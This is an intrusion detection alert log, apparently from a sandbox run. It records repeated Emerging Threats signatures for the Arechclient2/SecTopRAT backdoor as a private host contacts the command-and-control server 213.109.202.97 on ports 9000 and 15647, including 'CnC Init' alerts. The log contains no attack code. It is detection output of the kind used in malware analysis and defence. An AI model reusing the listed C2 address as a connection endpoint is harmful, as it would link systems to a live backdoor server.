2024-09-26T01:48:45.157926+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58365	213.109.202.97	9000	TCP
2024-09-26T01:48:49.302589+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58366	213.109.202.97	9000	TCP
2024-09-26T01:48:51.204873+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58367	213.109.202.97	9000	TCP
2024-09-26T01:48:52.969408+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58368	213.109.202.97	9000	TCP
2024-09-26T01:48:54.847353+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58369	213.109.202.97	9000	TCP
2024-09-26T01:48:56.668314+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58370	213.109.202.97	9000	TCP
2024-09-26T01:48:58.565075+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58371	213.109.202.97	9000	TCP
2024-09-26T01:49:00.331407+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58372	213.109.202.97	9000	TCP
2024-09-26T01:49:02.226300+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58373	213.109.202.97	9000	TCP
2024-09-26T01:49:04.157276+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58374	213.109.202.97	9000	TCP
2024-09-26T01:49:06.036299+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58375	213.109.202.97	9000	TCP
2024-09-26T01:49:07.819379+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58376	213.109.202.97	9000	TCP
2024-09-26T01:49:09.689261+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58377	213.109.202.97	9000	TCP
2024-09-26T01:49:10.799058+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.809348+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.824710+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.840594+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.857212+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.871579+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.887182+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.902851+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.918534+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.934391+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.950854+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.965403+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.980983+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.996604+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:11.017731+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.027894+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.043565+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.060205+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.074786+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.090297+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.106150+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.121777+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.142625+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.152834+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.169866+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.184122+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.199690+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.217057+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.231024+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.251017+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.263455+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.278166+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.311058+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.324896+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.340430+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.356202+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.374621+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.387329+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.403249+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.418539+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58381	213.109.202.97	15647	TCP
2024-09-26T01:49:11.439710+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.449720+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.465516+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.482844+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.496839+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.512332+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.528805+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.543481+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.559120+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.576326+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.590515+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.605996+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.623682+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.637226+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.653106+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.670337+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.684160+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.700530+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58382	213.109.202.97	15647	TCP
2024-09-26T01:49:11.721130+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.730964+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.746604+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.762179+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.779728+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.793457+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.809080+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.824698+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.840614+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.855978+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.872776+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.887198+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.902903+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.918470+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.934364+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.949897+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.967920+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.980981+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:11.996600+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.012245+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.027858+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.043460+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.060188+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.074686+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.090302+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.105983+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.121534+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.137201+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.153905+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.168562+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.184035+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.199681+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.215818+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.231287+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.247931+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.262185+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.277983+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.293470+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.309624+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.324785+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58383	213.109.202.97	15647	TCP
2024-09-26T01:49:12.333176+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.7	58383	TCP
2024-09-26T01:49:12.892910+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:12.903635+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:12.918501+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:12.934162+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:12.950926+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:12.965594+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:12.980915+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:12.996796+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.012591+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.027913+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.045603+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.059927+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.074752+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.090343+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.106061+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.121688+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58384	213.109.202.97	15647	TCP
2024-09-26T01:49:13.142795+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.154628+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.168396+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.184967+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.199634+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.215667+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.230899+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.249382+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.262309+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.277885+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.293443+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.309100+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.326175+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.345900+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.380071+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.387476+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.402921+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.418467+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.434172+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.453373+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.466137+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.491289+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.496626+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.513560+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.529334+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.557256+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.575829+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.599001+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.836013+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.896131+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.925346+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.935176+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.952099+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:13.984967+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.003654+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.016158+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.028675+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.045881+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.060166+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.074818+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.090657+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.100490+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	58378	213.109.202.97	9000	TCP
2024-09-26T01:49:14.107837+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.122846+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.137472+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58385	213.109.202.97	15647	TCP
2024-09-26T01:49:14.139775+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.7	58385	TCP
2024-09-26T01:49:15.142771+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.153502+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
2024-09-26T01:49:15.168455+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	58387	213.109.202.97	15647	TCP
